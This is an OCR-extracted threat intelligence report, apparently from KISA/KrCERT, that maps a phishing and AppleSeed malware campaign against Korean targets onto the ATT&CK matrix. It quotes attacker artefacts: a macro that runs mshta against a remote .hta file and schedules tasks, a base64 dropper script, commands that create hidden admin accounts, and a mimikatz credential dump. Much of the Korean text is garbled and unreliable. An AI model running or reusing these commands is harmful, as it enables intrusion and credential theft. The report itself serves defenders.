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AN
3. ATT&CK Matrix

Reconnaissance Resource Development Initial Access Execution Persistence Discovery
T [N 2 T BT [T
@ Search Victim-Owned Websites @ Acquire Infrastructure @ Phishing @® Command and Scripting Interpreter @ Create Account @ File and Directory Discovery

@ Gather Victim Identity Information @® Compromise Infrastructure @ Exploit Public Facing Application @® User Execution @ Boot or Logon Autostart Execution @ Application Window Discovery

@ Gather Victim Org Information @ Establish Accounts @ Scheduled Task/Job

@ Search Open Websites/Domain @ Develop Capabilities

@ Phishing for Information @ Obtain Capabilities

@® Compromise Account

Credential Access Defense Evasion Lateral Movement  Collection Command and Control Exfiltration

@ OS Credential Dumping @ Masquerading @ Internal Spearphishing @ Archive Collected Data @ Application Layer Protocol @ Data Transfer Size Limits
@ Two-Factor Authentication Interception @ Obfuscated Files or Information @® Email Collection @ Data Encoding @ Exfiltration over Web Service
@ Unsecured Credentials @ Deobfuscate/Decode Files or Information @ Input Capture @ Web Service

@ Input Capture @ Indicator Removal on Host @ Screen Capture

@ Data from Removable Media

@ Data from Local System

@ Automated Collection
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Reconnaissance : izt

Search Victim-Owned Websites : &2 U4 AIO|E LHOA HE ZAH
Gather Victim Identity Information : &4 CHA&F 7|Q/7| 29 WERL Al HE £
Gather Victim Org Information : &4
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Search Open Websites/Domain : SNSL} &
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samsung smg925s exploit, chrome 75
vulnerabilities, galaxy s6 exploit, ie webpage
ZYA| A3l github exploit users, github O-day,
sgl Q1AM TERRACE MAIL Security 29k, terrace
mail security vulnerability, cve-2020-1300 poc ,
youngcart exploit, KVE-2019-1144

download rdpwrap, download memu, download
putty, centos ftp upload error 553, xampp ssl
42|, the best android spy, download
chromedriver, vmware workstation 15 download
editplus CFH2=E, notepad++ CH2=E, Microsoft
Exchange 14.3.123.0 download iso, Microsoft
Exchange MH = Y8 wireshark capture filter
ip, find ntlm packets in wireshark, ccleaner
download, avg download, https free certificate
github, hwp 80, everything download for
windows 10, thunderbird download free
windows 10, vs2019 windows kernel mode
driver, winrar download windows 10, metasploit
download windows 10, Radialogica fullAcesss
Viewer tools download, idm download, &%
Ct2 25, github thyroid, MedCalc for Windows
v15.0, install cad thyroid, install computer aided
system, k-tirads 2019, Z4M AF A|A”R CHRZE,
filezilla client download, exchange server 2019
download, fasta file viewer download, acunetix
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12 download, download acunetix 12 crack,
download acunetix 12 full, web vulnerability
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™7 honey > " secure > 77 d-g-pc-secfile >

" mu.za.bi > index.php ™7 d-g-prra >

[ favicon.ico =7 d-g-pw20 >

™7 d-s-acbr >

77 d-s-atf >

™7 d-s-iddup >

=7 d-s-pwrec >

77 d-s-xss >

"7 dm-g-acbr >

™7 dm-g-mspam >

77 dm-g-pwrec >

77 dm-s-mspam >

™7 do-g-veup >

77 ht-g-velg >

= >

=7 nv-sg-acfr >

=7 nv-sg-atfile >

™7 nv-sg-chph >

™7 nv-sg-log >

¢ g g
AP ch 4 (old, Thg-) (Access foreign)
= o - \ .
=019 8 : nv-sg-acfr
Ml g g5 2 ( phpmailer, Sendgrid-)
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Resource Development : AF$ 7{gt

Acquire Infrastructure : @1Z2
Compromise Infrastructure :
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ZA| It HEA FIES EY VHzntes A
olmat o MY HEA =S 0|85t A +0f
T HRtES 018510 =0l o)
IMet 7Y SHOIRE dEot ddRE FEAZ A=
olmat 542 ss "mshta[. ]exe http://& co[.]kr/bbs/temp[. ]hta"
sh = "schtasks[.leXe /create /sc minute /mo 5 /tn WindowsDefenderAutoUg
"mshtal[ . ]exe http://KiT] co[.]kr/bbs/admin[.]hta"} & Chr(34) & " /f"

)s KOREA INTERNET &
KISA ™"\ SECURITY AGENCY

OIELUIAIGHCHSAE
5, KrCERT/CC

KOREA INTERNET SECURITY CENTER

10




AN

Establish Accounts : &4 O|C|o{Lt O|H Y A

=]
- SNS AIF (LinkedIn, Twitter, Facebook)& A45t0 =fel S8 RUEHY HLAS sict
- 2UHY Y= sid S8 7Y, 32 U=z, 22 3¢ S0 Zeeltt

- 0|0 AlEs ddsto] T¢oj o]gstt
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From E®|E - info@twitter.com
To

Date

991@gmail.com
Jul 25, 2020, 7:55 AM

Standard encryption (TLS).
View security details

e

- &
B 71 Y: 201814 48
1922 3F o=
Wt @22t ALBXH S0ls B2t gtEU
£ E U g ujcof g0l Eoje *-
= 3
Check out this sample on #VirusBay beta.virusbay.io/sample/browse/
o) ! v & 2
L = Bl
23 U ELQIEE SSAN . #Lo AT ES]
S u o & &

~

"5 Air Force Freak

Facebook Jul 25

: tome ~
From  Facebook - notification@facebookmail.com
Reply-to noreply * noreply@facebookmail.com
To Al - == 991@gmail.com
Date Jul 25,2020,3:21 PM
Standard encryption (TLS).
& . , .
View security details

B ATt

®

Zero Day Initiative & gzo
@thezdi o=
Trend Micro's Zero Day Initative (ZDI) s a program designed to reward

security researchers for responsibly disclosing vulnerabilies. )
Melania Trump @

@FLOTUS
This account is run by the omm of First Lady Melania Trump. Tweets may be
archived. More at w

B2
- - EES
@AIRFORCEFREAK

All data 100% open source. Tracking #RUAF transports, bombers, tanks
The

Vice President Mike Pence & w29

rea51 -
FET
varea51 2 @vp
Vice President Mike Pence. Husband, father, & honored to serve as the 48th
Vice President of the United States. Tweets may be archived: wh.gov/privacy
Mil Radar @z
@MIL_Radar - b n
I Finees
Aircraft Spots. P .
@Arcraftspots
Monitoring Military Air Movements
Nsc@® FELY
mze @WHNSC
National Security Council | Tweets may be archived: WH gov/privacy
Senior Research Fellow for Northeast Asia @Heritage. 20 years @CIA and
1A, including 1A' ivision Chief for Korea. Vi Xpre e
zy;)w:‘ud g as CIA's Deputy Division Chief for Korea. Views expressed are Secretary Pompeo @ -

@SecPompeo
70th US. Secretary of @StateDep, working alongside the world's finest

%u{ 32 2 ' 222 diplomatic corps. Husband, father, Army veteran, and proud Kansan.

president Trump & 2e

John Bolton & Ty @PO —

@AmbJohnBolton 45th President Df the United States of America, @realDonaldTrump. Tweets

Forme nt to the President for National Security Affairs (NSA) archived: wh

Harry Harris & 29 e Donald J. Trump & Bae

@USAMbROK @realDonaldTrump .

UsS. Ambassador to the ROK. Arrived July 2018. Retir al. In 45th President of the United States of America

Seoul with wife & 2 cats. Reared in Tennessee. Follow for

updates. Mare Knapper 2o

0

@MarcKnapper
Currently in DC. Previous places include Seoul, Baghdad, Hanoi, and Tokyo.
Native Angeleno.
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fromName = "Daum DZHMIE{"
fromEmail = "daum.secure.norply@gmail.com"
fromEmail = "norply.acccount@gmail.com"

$to_sender ‘protect.tearn@gmail.com’;
$to_name 'DaumZ4MIE] " ;

$email->setFrom("help@vnaver.com", " SIYF™E ");
$email—->setSubject(" &liel 239l Xt 7|50] M#E[JASLICH. M);
$email—>addTo($to_email, $to_id);
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Develop Capabilities

- HANO AHDERL HAAHO] Al B0 V5= fdlici=
et =3 s
S/ = 2%
F] oo @ & *
4
CMD H¥ SHHAR 7128 BMRE  olBAlCjA3  muYRs g
HE RE R
£
N Hed AlGH
. & oo =2 o
AppleSeed . " z@
oA H \temp éﬂfﬂ%l' 7 | E;’Ol
=3 |O'| \cache & g elag iia‘_l;tll_l_#
Ot C
o1
ol e2c
75 gz = =0
Flag 47 FolderMonitor
=0 3 N KeyboardMonitor
* }Ig USBMonitor
——J} ScreenMonitor WEB2ZE e 8%
\flags
»
e
s g4st ©
YK
packfile.exe
123456hi //“\ %PDF-1.7..4 © objg~?8P r22—2M>HZc5+2
\__,,/ ol yes
packfile unpackfile.exe ks 3@?
unpackfile file XOR 3t
h [dstFilePath] clRg-Cj2Y
T txt 12
le
stFilePath]
kfile 1_pack.txt 1_unpa
"%J OIE|LIAIGHCHSAVE]
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Em 2HE|AF C#Windowsts
C:WlsersWIHORWDesktopttest >
C:WlsersWTHORWDesktoptttest >
C:WlsersWITHORWDesktopttest>joinfiles.exe hello
C:WlsersWTHORWDesktopWtest >
Rieiae i = - [O]E]-[6At2]=
ey nice to meet you
o ﬂ hi my name is ryank!! H dat H"oel%%
joinfiles SiLiol Mol
=5t
o -
| hello.dat - B 2%
hi Tny nameilé ryan7k' 'n|c:e to men;t?;u
joinfiles.exe
makecmd
C:#HUsersTHORWDesktop>unzip.exe
Unzip.exe <ZipFilePath> <(ExtractFilePath> )
unzip 2= oA
C:WUsersTHORWDesktop>unzip.exe test.zip ./test.hup
12:53:11 PM >> Starting Http Handler ... |[EEGESSE=
SuclpEeigl 12:53:11 PM >> Port: 9101 HE2 YL510
HA 82|
) R “.s» OIE|LIAIGHCHZSATE]
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Q
(TXT §

list.txt

./MailData/[ID]/maildata

2|t ID,PW

000

()

MailFetcher.py

2. imap, port 993

e
——

3. |2 £ & Spam A2

imap.daum.net
imap.naver.net

imap-mail.outlook.com

ne

oY x5

[E2F ZX|] BIF&E Q! 27010 ZX|=|A&L|CH
[Het 3X|] SSE FLiTS HSS Soloth|

[Daum] AOtO|E|7H SE5HIELICE =2l felo] Zegii|ct

S| fid' AFO| sHRAX|Hol|Af 2N HAELICE

slgllo] id ' AE0| E8=|n AALIC
[2elelng) =€ 8= 2o

Dol HUHS S1QH0| HLE|AELICH

[BX) AZ=HE 1Y Bick

AR EY A) A" R

daum.secure.norply@gmail.com
norply.acccount. @gmail.com
help@vnaver.com
protect.tearn@gmail.com
securty-alert@daum.net
admin@naever.com

T4 gflo]X| FA Y nlzto|E HE

baseurl/?menu=8&sign=_&token=&m=_&last(case A)

baseurl/?page=&p=&u=(case B)

baseurl/?svcCode=&hi=&dst (case C)
baseurl/?m=&token_help=(case C)

HEY 279l ip, HLI|IS HE

27.102.1

107.175.1 )

39.111. b
39.111.1°

Android 7.0, SM-A800S
iPhone
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Obtain Capabilities

- AE st =4 0|o= QIEUlE Soff S/ME EFES ARSI
ofid LYY, HAXMON =+, A &, 2UE PoC ZEE= 54 2l Al AHESIHCE
- Yoot s IoHR =R 2o Bt SHX WY Z2ds B3| o AFETTt
ohgRCo| gl ER|E 3|I|5H| 2ol HAES mU#LS HX|5H0] ALESICt
-0 2elE Eqte g2l o|0del Mis wAIotY] floi ARS STt
St Ol e Ot DE HIAELL DSR2 R[S O ME KX o AtEStct
SiZ CHAO| & 7|Q0|M AtE 201 &2 45 EAE X0 CHRH0F ARESICH
Ag3 37 E7 22
Metasploit
GitHub - k8gege/K8tools
GitHub - The-Art-of-Hacking/h4cker
GitHub - hackerhouse-opensource/exploits
Nz =+ GitHub - christian-roggia/
GitHub - hacktoolspack/hack-tools
MalwareBazaar
pwn20wndstuff/Undecimus
mimikatz
PHPMailer
oo =+t SendGrid
PHProxy
RDPWrap
oy 24 30f UItraVNC
TeamViewer
Putty
A = Acunetix
Edgecookieview
He| &+ Everything
Internet Download Manager
orgst &1 Bitlocker
By V3Lite
ALYac25
VPNGate
VPN &+
TCP Gender Changer
Tta Al VMWare

)\ KOREA INTERNET &
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Memu app player

oY Hels =+ Thunderbird

Exchange server 2019

23 Iy 524 trads
Cad Thyroid
MedCalc
Hancom Office 2020
oA HE T2 Notepad++
Editplus

2) CVE-2020-0688
3) CVE-2018-14745
4) CVE-2019-1821
5) CVE-2019-1652/CVE-2019-1653
2|9 PoC ZE 6) CVE-2018-2628
7) CVE-2020-0796
8 CVE-2020-1300
9 KVE-2019-1144
100 CVE-2012-4873

SSL QISAM A4

PERE ACME Let's Encrypt

2) CVE-2020-0688 : Microsoft Exchange Server Remote Code Execution Exploit

3) CVE-2018-14745 : Samsung Galaxy S6 SM-G920F G920FXXUSEQH7 bcmdhd4358 Wi-Fi Driver prot_get ring space
memory corruption

4) CVE-2019-1821 : Cisco Prime Infrastructure Remote Code Execution

5) CVE-2019-1652/CVE-2019-1653 : Exploits For Dumping Cisco RV320 Configurations Debugging Data And
Remote Root Exploit

6) CVE-2018-2628 : Oracle weblogic RCE exploit

7) CVE-2020-0796 : SMBGhost exploit

8) CVE-2020-1300 : Remote Code Execution Through Microsoft Windows CAB Files

9) KVE-2019-1144 : 97}E5 XSS F|orA

10) CVE-2012-4873 : GNUBoard4 HTML-Injection exploit

)Q KOREA INTERNET & 17
KISA ™"\ SECURITY AGENCY
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njo
el
i)

=]
ox!
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- ‘Thunderbird’ 2= O] 22| £2HS O
~‘memu’ 2= ¥ 220]0{0f| g o{E2]|7 9

roh fun
.

n

skt

D nbon & oot X | B x

|

I

I

I

I

I

I

I

I -

I I

I I

I I

| | v

| I

| I AdwH Infected

: : ool s 43 st

: » < MEMU PLAY : ool A w4 mo|x|

I I
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EER

Initial Access

(=
- -

Phishing : I|4

Resource Development - Compromise Accounts

AL 4,

=g

Resource Development - Obtain Capabilities : 27HE =L} AAHIEE ZH|

Execution - User Execution : AFZZ} ASH

g2[ot O|0YOIM E2 & = =1 7|0 M2l Ot WES] BME Z2t AYTES VIt SRoltt =
ool thgdr dR0Y L2t HES 2 8% APt |REAZ Ol B0l dHIEES CeeE 2
FEDIC}
Od0gs U of mioll= S7HE T2 1201 ‘PHPMailer?t ‘SendGrid'E AHESICEH

CASE 1

ol ol gl

[aj7mg gl js
unction main()

try {

LU CREE

var var_bé4data = 0MSR4KGXGUEAAAAAAAAAAAAAAAAAAAAAP9

M

BAAA/ RAB:

QBUAGYAb

AAAAAAAAAAAWQA
TN (U gBVAGBAJAAGAEUALGBOAHIAe QAAAAAAAAAAN

3111111

AAAAAAAAAAAIAAAABUHAAAAAAAAUABYAHYAVABIAHGADAAAAAAAA,
AAAAAAAAAAAAAAAAAAAAAAAAAAAUWBIAHIAZQBWAHQACWARAAAAS
5AAOADUxgOACGANAABADOAKAHTHeMCBX HIACAXWCAWdUdwazAIABZ
iyxLMgAEDHINFY1 WjB5LIUACAAFLE4uTjHIADIUTS 7rLkgAPysFcjQiRBIADA
SAA/MgeyHySIAChK jFy MXksi4AIABAZDRNTEGABXIWMAATCAA + Ly prFTW(
>hgZPhiTPgwMPGYGPGAAPGAACAAAMGAALAAAIGAAIEAAGAAAE]GZP]YsP
50Cx2GIGgqap2+KEomTojCOBmaVmaW4oZ THhho0o +eOKS gap E4NBWI
CAAMAABAZDRNTFYyAAFchYzgHIABY1r2s/Kwg ABXIWM7kzq S TyLIAZ3THW

€I /D2 AN AT O IEND A VN R 121 T /03T, 1l 11 2 TiD0 7o Nk

cveco

var var_file_name = ' - -
var var b6, e name = varfle_name + ~ 564
var var_bin_name = “romanetft’;

var var_b64_bin_name = var_bin_name + *.

var var_fs =
var var_shell = new ActiveXObject("WScript. Shel

It set local folder

bet®

Wscript. CreateObject('Scripting. FileSystemObject’);

mfs 7|7 127421

{4 QBN BA B0 S 4 SRS A p'

)

var var_local folder = (** + var_f bstr(0,2) +
if (tvar, QsFoldevhns\slviv local_folder)

var_local_folder bstr(02) +
var var_file_path local folder + var_file_name;
var var_b64_fi var_local_folder + var_b64_file_name:
var var_bi var_local_folder + var_bin_name;
var var_b64_bin_path = var_local_folder + var_b64_bin_name;

11 extract attached file

var var_out_data_file = var_fsCreateTextFile(var_t

var_out_data_fle Write(var_bb4data)
var_out data_file.Close();

Jf show extracted attached file

b64_file_path true);

var_shell Run("powershell exe [System.Convert]
var_shell Runvar_file_path);

ontent " + var_bb4_file_path + ") | Se

)Q KOREA INTERNET &
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CASE 2

opgEs my
a4 ol miat

2l
=

g2

ay

Infected
V1

N 7

B

e

i 7147l He!

Private Sub Document_Open()
ActiveDocument[.]Bookmarks("a1")[.]JRange[.JFont[.]JHidden = True
ActiveDocument[.]Bookmarks("a2")[.JRange[.]Font[.]JHidden = False

ss = "mshtal.]Jexe http://& . Jkr/bbs/templ[.]hta"
sh = "schtasks[.]Jexe /create /sc minute /mo 5 /tn WindowsDefenderAutoUpdate /tr " & Chr(34) & "mshtal.]Jexe http://é.

.Jkr/bbs/admin[.]hta" & Chr(34) & " /f"

sh1 = "schtasks[.Jexe /create /sc minute /mo 40 /tn WindowsDefenderUpdate /tr " & Chr(34) & "cmd[.]exe /c taskkill /im mshtal.Jexe /f* & Chr(34) & " /f*

p = Shell(ss, vbHide)

p = Shellsh, vbHide)

p= Sblell(shl, vbHide)
End Sub

OEHY 2 Aksst 2y

o>

jykiie

jKkmein1989 https://ghye.000webhostapp.com/
sjeasd2 https://jong-a.000webhostapp.com,
okstang511 https://niealo.000webhostapp.com,
shrzong8 http://aaa.ccc.onelgetele.com
jacedi919 http://daum.have.oneitx.com/
jurseon003 http://mail.dongguk-edu.pe.hu

toughmonkey http://daum,jonga.pe.hu

TXT http://frog.proxy.kooo.gg/love,
http://daum.term.oneitx.com/

&

Q Send Email
<M »
(_PHP

Nv-sg-*php

TWILIO

& SendGrid

Call(every 7mins)

B
L

Send Email Logging Call(every 20mins)
2choi@naver.com > Sent

S5@naver.com > Sent
%

lok@naver.com > Sent
Cruelty_z1.txt

[2020.06.29 09:54:05]
[2020.06.29 10:01:05]
[2020.06.29 10:08:06]
[2020.06.29 10:15:07]
[2020.06.29 10:22:08]
[2020.06.29 10:29:10]
12020.06.29 10:36:131

@navercom > Sent
minju@naver.com > Sent
014@naver.com > Sent
Ith71@naver.com > Sent

http://webror.com/~/z1.php

Subject : 8 glo| 21QI8H= 7|7|2 SREASLICEL
Sender : admin@snaver.com

Subject : | N & s

Sender : js5320@hanmail.com

Subject : HI2g2

Sender )131@hanmail.com

Subject : 3| HO| H2AN FCHHT MY LIRS
Sender : admin@naever.com

Subject : £ HENY

Sender : kmda@kmda.gokr

Subject : 52| 291 Xt 7]50] H¥s/ASLICL
Sender : help@vnaver.com

Subject: D20 B|YHS R YO YRE|YGLICE
Sender 176@gmail com

Subject : D240 H|YHS B HO| HraASLICH
Sender : sec-m@daum.net

3l . sto_id . OtolCI7H ZESASLICE

ai@daum.net

| 182= 29

1i@daum.net
2Ol Stoid | APO| EBE|D gLICh
sec-m@daum.net

[BF) A¥EE e UY guch

Sender : | 1176@gmail.com

(B3] sgdel " Stoid ! OLOICIZ ATO| CfF we SISLICH
1i@daum.net

‘sl ol Stoid. AHA Y=ol 0Fo| ZX =&

protecttearn@gmail.com

R/ RN
sec-m@daum.net

20| BUE 24hwp(3.8mb)
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Exploit Public Facing Application : &2711E O{E2[AH 0|4 2oy o2

oo
P!
N
0
> 5
0
rE
>£
Jton
ro
il
N
10
0%
ro
5
N
(@)
N
O
(@)
OO I
EFTJ
X
D
[a)
@)
)
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A
Q
h»)
[a)
(‘D
5
S
wn
=
»)
Q
.
Q
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=
Q
3
Q
.
(@]
o)
<2
o
>
%
el

Step2. | 2HE 34 A=
CVE-2020-0688 PoC code

.

L ZAx} Microsoft Exchange Server

[ =

CMD BE A

L
!

}

* @ @

FItAMAECIREE Ad My 71E A" gl

Metasploit
GitHub - k8gege/K8tools
GitHub - The-Art-of-Hacking/h4cker
GitHub - hackerhouse-opensource/exploits
A = 22 GitHub - christian-roggia/
GitHub - hacktoolspack/hack-tools
MalwareBazaar
pwn20wndstuff/Undecimus
mimikatz

CVE-2020-0688
CVE-2018-14745
CVE-2019-1821
CVE-2019-1652/CVE-2019-1653
CVE-2018-2628
CVE-2020-0796
CVE-2020-1300
KVE-2019-1144
CVE-2012-4873

™
12
ox
Jo
Jhu

OIEIOHCHSAVE]
)¢. KOREA INTERNET & 21 KrCERT/CC
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N\

Execution : 4!8H

Command and Scripting Interpreter : @& A
Persistence - Create Account @ A& 44
Credential Access - OS Credential Dumping : 224 A& 2=
Discovery - File and Directory Discovery : It S Cl|2llE2| EfAY

2|HHE Solf CMD A Hoks &SJICHH ety ARl -E =2 oHE o HAX 0 AgI2E 43|, AE MY
=2 Fds HAiCt
HAAO] AHIDETE LR HAX O] w2 T2 HS 0250 Ilsh A|A” CjellE2] 25|, B4l 25| 59|
FIS Aottt
b1 Mol A|0f regsvr32 BHHS O|Zafl Aallsi= £E20| QUCH
AL HEo
OlMTLE CIRZCE mshta http://[2EE0Q1]/[2H B ERH] hta
AY dd net user NewGuest [IHAL/E] /add
i pa pafa
2 s 4 net localgroup Administrators [AEE] /add
net localgroup ‘Remote Desktop Users’ [A1&Q] /add
reg add ‘HKLMWSOFTWAREWMicrosoftwWindows
AZY =77 NT¥CurrentVersionWwWinlogonSpecial AccountswUserList
v [AIEY] /t REG_DWORD /d 0 /f
reg add
‘HKLM#WSYSTEM®W CurrentControlSetwControl# Terminal
o CAZE M Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add
‘HKLMWSYSTEMW CurrentControlSetwControl#wTerminal
Server /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
AY J2 23 C:WprogramdataW 1 Wx64Wwm.exe “privilege::debug
OIE|LIAIGH LS AME:
)\ KOREA INTERNET & 22 KJCGI&%’/C&
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sekurlsa::logonpasswords exit”

powershell Get-CimInstance -Namespace
root/securityCenter2 -classname antivirusproduct

dir c:Wprogramdatawsoftware /s

RE CjAEa| 23

dir cwW /s & dir diw /s & dir WeWw /s & dir £ /s & dir
g /s & dir hiw /s & dir it /s & dir W /s & dir ki
/s & dir ' /s & dir niw /s & dir miw /s & dir ol /s
& dir pi#W /s & dir g /s & dir riw /s & dir siwW /s &
dir tW /s & dir uiw /s & dir viw /s & dir wiw /s & dir
S /s & dir yiw /s & dir ziW /s

regsvr32 /s
CWprogramdatawsoftwarewestsoftwcommonittestcommon.dll

)ﬁ KOREA INTERNET &
KISA ™"\ SECURITY AGENCY
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User Execution : AF22p A3l
Defense Evasion - obfuscated Files or Information @ TO|Lt HE H=S)

- Yo AYO| RN fGgBETH HAltls B9 AREANS eVt SEEO{OF St
S AREAPE DY Y] f¥E YIS ST 47 Ad AOIE= 2CO[HE |0 TIYH0|X 2 H&Ettt O] o
2= AESE Uoolot)| L SICt

Daum T4} <malcodes9@gmailcom> *
Lot~

AF otoIEI7t SESIASLICE

2HFSAI2. Daum LR EERIILICE

1842 o 0jg ot 2

gz wasEL,
stolo] HSIX| %12 F9 & ABE FUAYSE XIS/ M2 ololC] A 230] w2} sixje]
DE BUB AN AYE A2 ARtep BUC

a |
01 418 TER ONIF| £ BHIE SRR g3 29!

Attacker_server/?menu=security&sign=1&token_help = id & m=verify &last = info
(== [ =

EL A HZ2(m4) Holal 23 £ 2|ctolAE Ho|z

ol gl

SA2 Al

sistele Daum ojeraol SfsigtaLICt

EpeTRTp—Y
& ya8 TR

QML OIS FIBIA 1
SR, Ml A0 e ol oL

EEHTH 427,
- s
ey

[N ol vio] Auulatol QL= 0] AT LE|Z b5 Richel B

ot= 5|
=)
I () A% o1 Ojo|x/2I3E EAISIR UL oloixiza ool = ;;I- : AES-256-CBC
: 55t 7| : SHA256 (phpurlproxy.kr)
R - https://ghye.000webhostapp.com/live/? oF or=S3| 0/ AQ *
0aI8E AR 174(127kB) u=NESGSOpHWKxZHNYNVAOOHpXMOIBOWdWS29EWHNFalloMOtDZy9PZmN4d n2tojg efest A S5} IV : SHA256(H@$% N &*()_+=-)
+ [0 ==eisns expr 27 | MESV2NUCDJOKSFRYDG2GN60GVA2SyMIZmQVNoEHUSSINITHMNAYQWYz  fe ool TACE O} -
WkdzSDdOOG1rQmp2TWFKWVZKbERtZUTRKUARKIZbO1nUjlkdzM1NmJmROWWN = A

CHE2E 7RE2020/07/06 ~ 2020/08/05 FBtYTISZHF2UFJmLzEvWUVKMUF4SXRoSXBsU3NkemNoWnhkNIRndmxobWJHR
FV5UGRI IRIVGIVOFIrUHNQei9D QT09

otgstle ipagict
1PA0AE ZEEO| MMl ChEt MRS WY oFALICH
HEXIE BUER|ou] 30| F &I FAIR.

utetalel Fe

Attacker_server/?page= base64(id)&p=base64(vip/a001/a001)&u=http%3A%2F%2Fmail.naver.com%2Fbeginnv.nid
I"""’""""“”"‘""""“"i ; 3 1 ] 1 3

|

1 1 1 3
- Al olz
- e A3 F T ProxyZ @125l0| S2e 34 Holz|

Attacker server/’?schode—ld&hI—ko KR&dst Iogm

sto
oY 272} A el A elof ; '«a?su ) Hoizl

snsy Attacker_Server/index.php?m=Ilogin&token_help=dGVzdEBOZXNOLMNvbQ==

CHat ol & ol : ‘gg(mg)nﬂmxf : base64(37 e 71E) :

HHRE A

. OIELUIAIGHCHSAE
KrCERT/CC

KOREA INTERNET SECURITY CENTER

KrCERT/CC
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Persistence : A|&M 93]

Create Account : A& A4A

= ddot ez Mok 20, FAHY AT BH, 54 S

net user NewGuest [H2=9=] /add

net localgroup Administrators [AA ] /add
net localgroup ‘Remote Desktop Users’ [AA®] /add

AR =717

reg add ‘HKLMWSOFTWAREWMicrosoftWWindows
NTWCurrentVersionWWinlogonWSpecialAccountsWUserLL
ist’ /v [AA"H] /t REG_LDWORD /d 0 /f

reg add
‘HKLMWSYSTEMWCurrentControlSetWControlWTerminal
Server’ /v fDenyTSConnections /t REG_DWORD /d O /f
reg add
‘HKLMWSYSTEMW CurrentControlSetWControlWTerminal
Server’ /v fSingleSessionPerUser /t REG_DWORD /d O /f

)s KOREA INTERNET &
KISA ™"\ SECURITY AGENCY

OIE{LUAIOHTHS A1E]

KrCERT/CC
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Boot or Logon Autostart Execution @ A= A

02

 YZAO| SHYTE M A YNAERIS S5

o
2

0%

Ic

]

PN
o
nx
oo

=
o2

LR

=
S

J
oX
H

HKEY_CURRENT_USER%WSoftwarewMicrosoftwWindowswwCurrentVersionWwRunOnce

WindowsDefender
2% se

ESTsoftAutoUpdate

regsvr32.exe /s C:WwProgramDatawSoftwarewMicrosoftw\WindowswPatchwpatch.dll
=X=}
Z& Hlolgy

regsvr32.exe /s C:WProgramDatawSoftwarewMicrosoftwOneDriverwPatchwpatch . dll

k=i=1
=T

regsvr32.exe /s C:WwProgramDatawSoftwarewESTsoftwCommonwWESTCommon.dll

)q KOREA INTERNET & -6 i’%ﬂ‘fc&%bﬂ;%gg
KISA A SECURITY AGENCY = r
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Scheduled Task/Job : 28 A72 52

- MS Office B|22 7|sS 085101 27F SdIES LI2EEsl= AYs A9|S52{0| S=otth

[temp].hta [admin].hta
Every Smin
Download
ﬂ1

schtasks.exe
(WindowsDefenderAutoUpdate)

A AHZP SE2 AJ2UE

“schtasks.exe /create /sc minute /mo 5 /tn WindowsDefenderAutoUpdate /tr” & Chr(34) &
“mshta.exe [ E=0{Q1]/[MA0|E] hta” & Chr(34) & “ /f

“schtasks.exe /create /sc minute /mo 40 /tn WindowsDefenderUpdate /tr” & Chr(34) & “cmd.exe /c
taskkill im mshta.exe /7 & Chr(34) & “ /f”

OIELUIAIGHCHSAE
KrCERT/CC

v KOREA INTERNET SECURITY CENTER
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Credential Access : A}

OS Credential Dumping : d

- mimikatz 2t= D25 0| Z5[0] YEot A|AEI0| AYYES 260

A4 82 &

=

ﬂ

C:Wprogramdataw 1Wxo4wm . exe “privilege::debug

sekurlsa::logonpasswords exit”

Unsecured Credentials @ QFHSHR| &2 AHE HE 2t

 WSo=R Y WL SOt TUSS AYCH
Input Capture : 7|=2d5 &9t AE ¢
PSS S5 712U HY FBES AYACH |RY S AY A7 SOF S2A0AEN HFE 0| UL}
WOl AMHIZ CIOEIS HAFCH W T MU AFE
OIFuxl S A
D KOREA INTERNET & 28 et
KISA % SECURITY AGENCY

5, KrCERT/CC
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- EF

d= 23

Ol

Two-Factor Authentication Interception : 0| ¢!

1d2 &zl @ One Time Password O|& QI&0| 2 U= E 2 A2t Z=T2491 Email BotZ

| SH &} 2K}
P ]
s
Dz
e ID, Password 2 & [ OTP AH|£ A2 A3
i 3 Infected S 4 (W) + e 2
a1iD
ID, Password 21 VAP 4  —
' OTP Hlo|zl 2% , OTP At 2ol
/s &t 7t Email bot ont oot A
O|H|Y AHH #HZ Ho|X]| g I? YE|ES
l RIS ID, Password, OTPZ 2
ol
OTP ¢/
In
’ V i
7tm OTP 24 Hlo|x|
) OIE|UIAIGHCHZAME]
~ KOREA INTERNET &
P 2 , KPCERT/CC

KISA "\ SECURITY AGENCY
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Defense Evasion :

o] s|mj

Masquerading : 2%

B 2 ZHS =BAZIA Y| S FHYBES R YN T2IY Y AT ATEQ0 0|5
QIBHACH
TIo AN B
orgTACo| 2y AFZR| S2 0182 UEL YUHOIE 0502 B
A HHTEQ| FYAOIMHL RAS HY FANY YO ALSHICE
2% GHIE 0|5

T
—

Al T2 208 ©

C:#WprogramdatasoftwarewESTsoftwCommonwESTCommon . dll
C:WprogramdatawsoftwareWESTsoftwCommonittcachewlog. txt
C:#wprogramdatawsoftwarewESTsoftwCommonwflagswFolderMonitor
C:#WprogramdatawsoftwarewESTsoftwCommonwflagswKeyboardMonitor
C:WprogramdatawsoftwarewESTsoftwCommonwflagsw ScreenMonitor
C:wprogramdatawsoftwareWwESTsoftwCommonwilagswUsbMonitor

C:wWProgramdatawSoftwarewMicrosoftwOneDriverwPatchwpatch.dll
C:wProgramdataw SoftwarewMicrosoftw\WindowswPatchwpatch.dll

e

23128 OIF

WindowsDefenderAutoUpdate
WindowsDefenderUpdate

8 HAK oMY Fa
http://elle-shop.org-help.com/index.php
http://sportcar-seller.org-help.com/index.php
http://tissot-seller-seoul . 96.1t/index.php
http://cokacola-shop.org-help.com/index.php
als AE http://apple-shop.org-help.com/index.php

http://dior-mart-korea.org-help.com/index.php
http://lexus-victory.96.It/index.php
http://vacation-story.esy.es/index.php
http://fila-mart-seoul.96.It/log/reading.php

)w KOREA INTERNET &
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http://newdaily-redirecting.onekakao.com/index.php

71 & http://mail.celltrion.ml
http://mail.novavax.ml

25 on http://bmail-link koreasgov.co.kr/bmail/run.php

oT TloOo

http://helper.uni-korea.ga

http://portal.dongguk.ml/read.php

http://mail .naver buzz/test hta

oY {1 http://nid.naver home-info.ml
http://member.daum.home-info.ml
http://road.tongilcash.xyz/index.php
J1E} http://part.bigfile.pe.hu/index.php

http://deptO-dr.lab.hol.es/index.php
http://protector-download.onekorea.xyz/info/reading.php

)ﬁ KOREA INTERNET &
KISA ™"\ SECURITY AGENCY

OIE{LUAIOHTHS A1E]
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obfuscated Files or Information : IfA0|L} HE L=}

- HAAON HHBEE MAS LSS5I QE2 &G

Packfile

02
